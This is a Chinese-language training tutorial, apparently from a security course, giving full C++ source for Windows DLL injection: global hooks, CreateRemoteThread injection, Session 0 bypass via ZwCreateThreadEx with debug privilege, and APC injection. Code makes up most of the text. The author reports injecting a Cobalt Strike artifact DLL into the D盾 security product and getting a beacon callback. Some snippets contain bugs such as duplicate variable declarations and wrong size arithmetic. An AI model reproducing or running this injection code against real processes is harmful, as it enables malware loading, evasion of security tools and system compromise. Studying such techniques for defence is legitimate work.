Windows中的大部分应用程序依赖于消息机制,其中含有消息过程函数,而Windows操作系统的钩子机制用于截获和监视系统中的消息。
依据钩子的作用范围,可以分为局部钩子和全局钩子:
局部钩子:针对某个线程
全局钩子:作用于整个系统的消息
关于全局钩子注入Win32 API介绍:
HHOOK WINAPI SetWindowsHookEx{
_In_ int idHook, // 钩子程序类型
_In_ HOOKPROC lpfn, // 指向钩子程序的函数指针
_In_ HINSTANCE hMod, // 已加载的DLL或EXE实例的句柄,HMODULE句柄是通过LoadLibrary或GetModuleHandle等函数加载模块时返回
_In_ DWORD dwThreadId // 与钩子相关的线程标识符,如果参数为0表示与系统中所有线程相关联
}
// 返回值:
// 设置成功则返回钩子过程的句柄
// 设置失败则返回值为NULL将程序定义的钩子函数(HOOKPROC lpfn)安装到挂钩链中,安装钩子程序可以监视系统是否存在某些类型的事件,这些事件与特定线程或调用线程所在桌面中的所有线程相关联
新建一个DLL空项目
预编译头pch.h中设置
该文件是预编译标头文件,仅仅编译一次
// 添加要在此处预编译的标头
// 设置钩子函数
extern "C" _declspec(dllexport) int SetHook();
// 钩子回调函数
extern "C" _declspec(dllexport) LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam);
// 卸载钩子函数
extern "C" _declspec(dllexport) BOOL UnsetHook();
//PCH_H在pch.cpp文件中实现上述函数
// pch.cpp: 与预编译标头对应的源文件
// 当使用预编译的头时,需要使用此源文件,编译才能成功。
extern HMODULE g_hDllModule; // 已经加载的DLL的句柄
// 为DLL创建一个数据段,然后再对程序的链接器进行设置,把指定的数据段链接为共享数据段
// 相当于use mydata的这种感觉
HHOOK g_hHook = NULL; // Hook句柄(注意与HMODULE的区别)
// 恢复默认的数据段设置
// 告诉链接器设置为RWS
// 回调函数
LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam) {
return ::CallNextHookEx(g_hHook, code, wParam, lParam);
// 将当前钩子传递给钩子链中的下一个钩子
}
// 设置钩子
BOOL SetHook() {
g_hHook = SetWindowsHookEx(WH_GETMESSAGE,
(HOOKPROC)GetMsgProc, g_hDllModule, 0);
if (g_hHook == NULL) {
return FALSE;
}
return TRUE;
}
// 卸载钩子
BOOL UnsetHook() {
if (g_hHook)
{
// 直接 :: 表示从全局作用域解析
::UnhookWindowsHookEx(g_hHook);
}
return TRUE;
}然后在DLL的入口文件dllmain.cpp中设置
// dllmain.cpp : 定义 DLL 应用程序的入口点。
HMODULE g_hDllModule = NULL;
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH: // 由于进程启动或调用LoadLibrary, DLL被加载到当前进程的虚拟地址空间中, 会进入如下路由
{
g_hDllModule = hModule;
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}在Release,X86下生成:

可以发现对应文件夹下生成dll文件

新建一个CPP空项目
// 全局钩子注入
int main()
{
// 声明函数指针, 返回值为BOOL, 参数值为空
typedef BOOL(*typedef_SetGlobalHook)();
typedef BOOL(*typedef_UnsetGlobalHook)();
HMODULE hDll = NULL; // DLL句柄
typedef_SetGlobalHook SetGlobalHook = NULL; // 设置全局钩子的句柄
typedef_UnsetGlobalHook UnsetGlobalHook = NULL; // 卸载全局钩子的句柄
BOOL bRet = FALSE;
do {
// 加载DLL,获得句柄实例
hDll = ::LoadLibraryW(TEXT("C:\\Users\\xx\\source\\repos\\DLLInjection\\Release\\DLLInjection.dll"));
// 异常检测
if (hDll == NULL) {
printf("LoadLibrary Error[%d]\n", ::GetLastError());
break;
}
// 从hDll句柄对应文件中加载SetHook地址,并把该地址位置上的数据视为typedef_SetGlobalHook函数(返回函数指针)
SetGlobalHook = (typedef_SetGlobalHook)::GetProcAddress(hDll, "SetHook");
if (SetGlobalHook == NULL) {
printf("GetProcAddress Error[%d]\n", ::GetLastError());
break;
}
bRet = SetGlobalHook(); // 运行函数 -- 设置全局钩子
if (bRet) {
printf("SetGlobalHook OK.\n");
}
else {
printf("SetGlobal Hook Error.\n");
}
system("pause");
// 同理获取卸载全局钩子
UnsetGlobalHook = (typedef_UnsetGlobalHook)::GetProcAddress(hDll, "UnsetHook");
if (UnsetGlobalHook == NULL) {
printf("GetProcAddress Error[%d]\n", ::GetLastError());
break;
}
// 卸载全局钩子
UnsetGlobalHook();
printf("UnsetGlobalHook OK. \n");
} while (FALSE);
system("pause");
return 0;
}

远线程注入是指一个进程在另一个进程中创建线程的技术
核心函数主要如下:
LoadLibrary:将指定的DLL文件动态加载到进程空间
CreateRemoteThread:在目标进程的虚拟地址空间中创建运行的线程
大致原理:
获得LoadLibrary函数的地址
虽然Windows的ASLR机制会使得LoadLibrary在每次开机时的地址不同,但对于同个时候Windows的kernel32.dll的加载基址在各个进程中都是相同的,因此LoadLibrary也是相同的。
写入注入的DLL路径字符串
通过OpenProcess打开进程获得句柄,然后调用VirtualAllocEx在目标进程中申请一块内存空间,再调用WriteProcessMemory将恶意DLL路径写入到目标进程的空间地址中
OpenProcess
打开现有的本地进程,获得句柄
HANDLE WINAPI OpenProcess(
_In_ DWORD dwDesiredAccess, //
_In_ BOOL bInheritHandle, // True => 将继承原本进程中已有的句柄
_In_ DWORD dwProcessId // 要打开的进程PID
)VirtualAllocEx
对指定进程的虚拟地址空间内保留、提交或更改内存的状态
LPVOID WINAPI VirtualAllocEx(
_In_ HANDLE hProcess, // 进程句柄,句柄必须具有PROCESS_VM_OPERATION的权限
_In_opt_ LPVOID lpAddress, // 指定要分配页面所需起始地址的指针,如果为NULL则表示自动分配内存
_In_ SIZE_T dwSize, // 分配的内存大小,以字节为单位
_In_ DWORD flAllocationType, // 内存分配类型
_In_ DWORD flProtect // 要分配的页面区域的内存保护类型
)WriteProcessMemory
在指定进程的指定可访问的内存区域写入数据
BOOL WINAPI WriteProcessMemory(
_In_ HANDLE hProcess, // 目标进程的句柄
_In_ LPVOID lpBaseAddress, // 要写入数据的内存区域的基地址
_In_ LPCVOID lpBuffer, // 存储数据的缓冲区的基地址
_In_ SIZE_T nSize, // 要写入的字节数
_Out_ SIZE_T *lpNumberOfBytesWritten
)
// 成功则返回值不为NULLCreateRemoteThread
在指定进程中创建运行的线程
HANDLE WINAPI CreateRemoteThread(
_In_ HANDLE hProcess, // 目标进程的句柄
_In_ LPSECURITY_ATTRIBUTES lpThreadAttributes, // 指向SECURITY_ATTRIBUTES结构的指针,指定了新线程的安全描述符,并确定了子进程是否可以继承返回的句柄
_In_ SIZE_T dwStackSize, // 堆栈的初始大小
_In_ LPTHREAD_START_ROUTINE lpStartAddress, // 指向由线程执行类型为LPTHREAD_START_ROUTINE的应用程序定义的函数指针,并表示了远程进程的起始地址,该函数必须存在于远程进程中
_In_ LPVOID lpParameter, // 指向要传递给线程函数的变量的指针
_In_ DWROD dwCreationFlags, // 控制线程创建的标志,若为0则表示线程在创建后立即执行
_Out_ LPDWORD lpThread // 指向了接收线程标识的变量的指针,如果此参数为NULL,则不返回线程标识符
)dllmain.cpp文件
BOOL APIENTRY DllMain(
HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBox(NULL, L"success!", L"RemoteThreadInjection", MB_OK);
case DLL_THREAD_ATTACH:
MessageBox(NULL, L"success!", L"RemoteThreadInjection", MB_OK);
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
};
return TRUE;
}然后直接生成dll
核心函数在于远程线程注入_RemoteThreadInjection中:
函数原型设计:我们需要得知远程线程注入的目标进程PID以及执行线程的对应DLL文件位置(采用宽字符串)
DWORD _RemoteThreadInjection(DWORD _Pid, LPCWSTR DllName)OpenProcess打开进程获得句柄
hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid);
// 异常检查
if (hprocess == NULL) {
printf("OpenProcess Error\n");
return FALSE;
}VirtualAllocEx API申请内存,该内存存储
_tcslen(DllName)截取的宽字符串长度不包括字符串终止符,所以需要加1,并乘上宽字符的大小以计算出字节数
// 在注入的进程中申请内存
_Size = (_tcslen(DllName) + 1) * sizeof(TCHAR);
pDllAddr = ::VirtualAllocEx(hprocess,NULL,_Size,
MEM_COMMIT, PAGE_READWRITE);
// 第二个参数表示分配页面所需起始地址的指针
// 第四个参数是指内存分配类型,MEM_COMMIT表示在磁盘的分页文件和整体内存中,为指定的预留内存页分配内存
// 第五个参数表示要分配的页面区域的内存保护,如果yem
if (pDllAddr == NULL) {
printf("Process Memory Allocation Error\n");
return FALSE;
}申请完之后就是使用WriteProcessMemory写数据
BOOL isWriteSuccess = ::WriteProcessMemory(hprocess, pDllAddr, DllName, _Size, NULL);获取LoadLibraryW的地址
pThread = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"),"LoadLibraryW");创建线程,并传入参数
hThread = ::CreateRemoteThread(hProcess, NULL, 0, addr, pDllAddr, 0, NULL);释放资源等操作
完整源码:
// 远程线程注入
// 宽字符
char DLL_PATH[] = "C:\\Users\\xx\\source\\repos\\DLLInjection\\Release\\DLLInjection.dll";
// LPCWSTR: long pointer to a wide string
DWORD _RemoteThreadInjection(DWORD _Pid, LPCWSTR DllName) {
// 变量声明
HANDLE hprocess; // 目标进程的句柄
HANDLE hThread;
DWORD _Size = 0;
BOOL Write = 0;
LPVOID pDllAddr = NULL; // 申请内存空间
DWORD DllAddr = 0;
FARPROC pThread;
// 打开进程
hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid);
// 异常检查
if (hprocess == NULL) {
printf("OpenProcess Error\n");
return FALSE;
}
// 在注入的进程中申请内存
_Size = (_tcslen(DllName) + 1) * sizeof(TCHAR);
pDllAddr = ::VirtualAllocEx(hprocess,NULL,_Size,
MEM_COMMIT, PAGE_READWRITE);
// 第二个参数表示分配页面所需起始地址的指针
// 第四个参数是指内存分配类型,MEM_COMMIT表示在磁盘的分页文件和整体内存中,为指定的预留内存页分配内存
// 第五个参数表示要分配的页面区域的内存保护,如果yem
if (pDllAddr == NULL) {
printf("Process Memory Allocation Error\n");
return FALSE;
}
// 向申请的内存写入数据
BOOL isWriteSuccess = ::WriteProcessMemory(hprocess, pDllAddr, DllName, _Size, NULL);
if (isWriteSuccess == FALSE) {
printf("Write Process Memory Error\n");
return FALSE;
}
// 获取LoadLibraryW(支持宽字符)函数地址
pThread = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
LPTHREAD_START_ROUTINE addr = (LPTHREAD_START_ROUTINE)pThread;
// LPTHREAD_START_ROUTINE 是一个函数指针类型,用于指定线程的入口点函数
// 在目标进程中创建线程
hThread = ::CreateRemoteThread(hprocess, NULL, 0, addr, pDllAddr, 0, NULL);
// hprocess指向了目标进程
// addr表示LoadLibrary的LPTHREAD_START_ROUTINE函数指针
// pDllAddr表示传递给线程函数的变量的对应的指针(传给LoadLibrary的变量)
if (hThread == NULL) {
printf("Create Remote Thread Error\n");
return FALSE;
}
//等待线程函数结束,获得退出码
WaitForSingleObject(hThread, -1);
GetExitCodeThread(hThread, &DllAddr);
// 释放DLL空间
VirtualFreeEx(hprocess, pDllAddr, _Size, MEM_DECOMMIT);
// 关闭句柄
::CloseHandle(hprocess);
return TRUE;
}
int main() {
DWORD _PID = 1220; // 根据实际进程的PID填入
_RemoteThreadInjection(_PID, L"C:\\Users\\xx\\source\\repos\\DLLInjection\\Release\\DLLInjection.dll");
}
注入之前:

注入之后:可以观察到其实不止多了DLLInjection.dll文件


在远程线程注入中,将目标进程改为一些系统服务进程时会发现失败,这是由于存在SESSION 0隔离的安全机制,传统的远程线程注入并不能突破SESSION 0隔离

在早期Windows版本中(WinXP,WinServer2003以及之前),所有服务都与登录到控制台的第一个用户(超级管理员)处于同一个会话中,该会话即所谓的Session 0,此时其他非系统服务等同于拥有超级管理员权限来执行,那么此时遭遇劫持就直接最高权限了。
此后在Windows内核6.0版本后引入了Session 0隔离机制,只有系统进程和服务才会处于session 0中运行,用户登录到会话1,后续用户登录到2,3 ...
Session 0隔离机制使得当创建一个进程后不立即执行,而是先挂起进程,在查看运行的进程所在的会话层之后再决定是否恢复进程运行。

原理与远程线程注入的原理大致相同,但是使用的WinAPI是比CreateRemoteThread更为底层的ZwCreateThreadEx函数来创建线程
// win64
DWORD WINAPI ZwCreateThreadEx{
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown
}
// win32
DWORD WINAPI ZwCreateThreadEx{
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnknown
}
// 突破session 0隔离机制注入DLL
//#include "tchar.h"
// 使用typedef对ZwCreateThreadEx创建函数指针
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
BOOL EnableDebugPrivilege()
{
HANDLE hToken;
BOOL flag = FALSE;
// OpenProcessToken 打开与进程关联的token
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
int valueGetLastError = GetLastError();
flag = (valueGetLastError == ERROR_SUCCESS);
CloseHandle(hToken);
}
return flag;
}
BOOL BypassSession0Injection(DWORD _PID, const char* DLLPath) {
// 变量声明
HANDLE hProcess = NULL;
SIZE_T dwSize = 0;
LPVOID pDllAddr = NULL;
FARPROC LoadLibraryA_Addr = NULL;
HANDLE hRemoteThread = NULL; // 远程线程
DWORD dwStatus = 0;
// 提权 -- 启用SeDebugPrivilege权限
//BOOL isPrivieged = EnableDebugPrivilege();
//if (isPrivieged == FALSE) {
// printf("Can't get SeDebugPrivilege!\n");
// return FALSE;
//}
// 由于具有SeDebugPrivilege,所以可以对系统服务设置为PROCESS_ALL_ACCESS
hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _PID);
if (hProcess == NULL) {
printf("Open Process Error!\n");
return FALSE;
}
// 申请内存
// 申请内存的大小
dwSize = ::strlen(DLLPath) + 1;
// ::lstrlen 对于宽字符串
// ::strlen 对于字符串
// 申请,返回基地址
pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
if (pDllAddr == NULL) {
printf("Virtual Allocation Error\n");
return FALSE;
}
// 写入DLL路径
BOOL isWriteSuccess = ::WriteProcessMemory(hProcess, pDllAddr, DLLPath, dwSize, NULL);
if (isWriteSuccess == FALSE) {
printf("Write Process Memory Error\n");
return FALSE;
}
// 加载ntdll.dll
HMODULE hNtdDll = ::LoadLibrary(L"ntdll.dll");
if (hNtdDll == NULL)
{
printf("Load ntdll.dll Error\n");
}
// 获取LoadLibraryA函数地址
LoadLibraryA_Addr = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
if (LoadLibraryA_Addr == NULL)
{
printf("Get the address of LoadLibrary Error!\n");
return FALSE;
}
// 获得ZwCreateThreadEx函数地址
// 使用函数指针类型的变量来接收
typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdDll, "ZwCreateThreadEx");
if (ZwCreateThreadEx == NULL) {
printf("Get the address of LoadLibrary Error!\n");
return FALSE;
}
// 使用ZwCreateThreadEx创建远程线程,实现DLL注入
dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS,
NULL, hProcess, (LPTHREAD_START_ROUTINE)LoadLibraryA_Addr, pDllAddr,
0, 0, 0, 0, NULL);
if (hRemoteThread == NULL) {
printf("ZwCreateThread Error!\n");
return FALSE;
}
// 关闭句柄
::CloseHandle(hProcess); // 对于HANDLE
::FreeLibrary(hNtdDll); // 对于HModule
return TRUE;
}
int main()
{
BOOL flag = BypassSession0Injection(3788, "C:\\Users\\xx\\source\\repos\\DLLInjection\\Release\\DLLInjection.dll");
BOOL flag = BypassSession0Injection(4740, "C:\\Users\\xx\\Desktop\\artifact_x86.dll");
if (flag == FALSE) {
MessageBox(NULL, L"fail!", L"BypassSession0Injection", MB_OK);
}
else {
MessageBox(NULL, L"success!", L"BypassSession0Injection", MB_OK);
}
return 0;
}选择D盾开刀

CS上线

在Windows系统中,APC机制是一种并发机制,用于异步IO或者定时器,每个线程都会维护一个线程APC队列,通过QueueUserAPC函数把一个APC函数压入APC队列中。当处于用户模式的APC压入线程APC队列后,该线程并不直接调用APC函数,除非该函数处于可通知的状态,调用顺序为先入先出。
QueueUserAPC函数:将用户模式中的异步过程调用(APC)对象添加到指定线程的APC队列中
DWORD WINAPI QueueUserAPC(
_In_ PAPCFIMC pfnAPC,
_In_ HANDLE hThread,
_In_ ULONG_PTR dwData
) 通过OpenProcess函数打开目标进程,获取目标进程的句柄
遍历线程快照,获取所有线程ID
调用VirtualAllocEx函数在目标进程中申请内存,再调用WriteProcessMemory写入DLL路径
遍历获取的线程ID,并调用OpenThread函数以THREAD_ALL_ACCESS访问权限打开线程,获取线程句柄
并调用QueueUserAPC函数向每个线程插入APC函数,设置APC函数的地址为LoadLibraryA函数的地址,APC函数参数为上述DLL路径地址
唤醒任意线程,即可执行APC,完成DLL的APC注入
// APCInjection.cpp
void PrintError(const char* errContext) {
char Error[MAX_PATH] = { 0 };
::sprintf_s(Error, "%s Error[%d]\n", errContext, ::GetLastError());
::MessageBoxA(NULL, Error, "ERROR", MB_OK);
}
// 获取指定进程的所有线程
BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength) {
// 申请空间
DWORD dwThreadIdListLength = 0; // 线程数组的索引
DWORD dwThreadIdListMaxCount = 2000; // 最大线程数
LPDWORD pThreadIdList = NULL; // 链表的头部
// LPDWORD: 指向DWORD的指针
HANDLE hThreadSnap = INVALID_HANDLE_VALUE; // 线程句柄
pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
// NULL未指定起始地址
if (pThreadIdList == NULL) {
return FALSE;
}
// 初始化为0
RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));
THREADENTRY32 th32 = { 0 };
// 拍摄快照
hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);
if (hThreadSnap == INVALID_HANDLE_VALUE)
{
return FALSE;
}
// 结构的大小
th32.dwSize = sizeof(THREADENTRY32);
// 遍历所有THREADENTRY32结构,按顺序填入数组
BOOL bRet = Thread32First(hThreadSnap, &th32);
while(bRet)
{
if(th32.th32OwnerProcessID == th32ProcessID)
{
if (dwThreadIdListLength >= dwThreadIdListMaxCount)
{
break;
}
pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID;
}
bRet = Thread32Next(hThreadSnap, &th32);
}
*pThreadIdListLength = dwThreadIdListLength; // 捕获的线程快照个数
*ppThreadIdList = pThreadIdList; // 线程地址的数组
return TRUE;
}
BOOL APCInjection(HANDLE hProcess, CHAR* wzDLLFullPath, LPDWORD pThreadIdList, DWORD dwThreadIdListLength)
{ // (指定进程, DLL路径, 线程链表的头部, 链表长度)
// 申请内存
PVOID lpAddr = NULL;
SIZE_T page_size = 4096;
lpAddr = ::VirtualAllocEx(hProcess, NULL, page_size,
MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (lpAddr == NULL)
{
PrintError("VirtualAllocEx - Error\n\n");
// 释放空间
VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
// 关闭
CloseHandle(hProcess);
return FALSE;
}
// 将DLL路径写入到内存中
BOOL isWriteSuccess = ::WriteProcessMemory(hProcess, lpAddr,
wzDLLFullPath, (strlen(wzDLLFullPath) + 1) * sizeof(wzDLLFullPath), NULL);
if (isWriteSuccess == FALSE)
{
PrintError("WriteProcessMemory - Error\n\n");
VirtualFreeEx(hProcess, lpAddr, page_size, MEM_COMMIT);
CloseHandle(hProcess);
return FALSE;
}
// 获得LoadLibraryA的地址
PVOID LoadLibraryAddress = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
// PVOID: void*
// 遍历线程链表, 插入APC
float fail = 0;
for (int i = dwThreadIdListLength - 1; i >= 0; i--) {
HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
if (hThread)
{
// 插入APC
if (!::QueueUserAPC((PAPCFUNC)LoadLibraryAddress, hThread, (ULONG_PTR)lpAddr)) {
fail++;
}
// 关闭线程句柄
::CloseHandle(hThread);
hThread = NULL;
}
}
printf("Total Thread: %d\n", dwThreadIdListLength);
printf("Total Failed: %d\n", (int)fail);
float FailRate = dwThreadIdListLength / fail;
if ((int)fail == 0 || FailRate > 0.5) {
printf("Successful! APC Injection!\n");
return TRUE;
}
else {
printf("Fail!\n");
return FALSE;
}
}
int main()
{
DWORD PID = 10544;
CHAR wzDllFullPath[MAX_PATH] = { 0 };
LPDWORD pThreadIdList = NULL;
DWORD dwThreadIdListLength = 0;
strcpy_s(wzDllFullPath, "C:\\Users\\xx\\Desktop\\artifact_x86_apc.dll");
strcpy_s(wzDllFullPath, "C:\\Users\\xx\\Desktop\\artifact_x86_apc.dll");
BOOL isGetProcessThreadList = GetProcessThreadList(PID, &pThreadIdList, &dwThreadIdListLength);
if (!isGetProcessThreadList)
{
printf("Can't list the threads\n");
exit(0);
}
// 打开句柄
HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, PID);
if (hProcess == NULL) {
printf("Failed to open Process\n");
return FALSE;
}
// 注入
BOOL isInjectSuccess = APCInjection(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength);
if (!isInjectSuccess) {
printf("Failed to inject DLL\n");
return FALSE;
}
return 0;
}拿D盾开刀:

还是CS上线

本课程最终解释权归蚁景网安学院
本页面信息仅供参考,请扫码咨询客服了解本课程最新内容和活动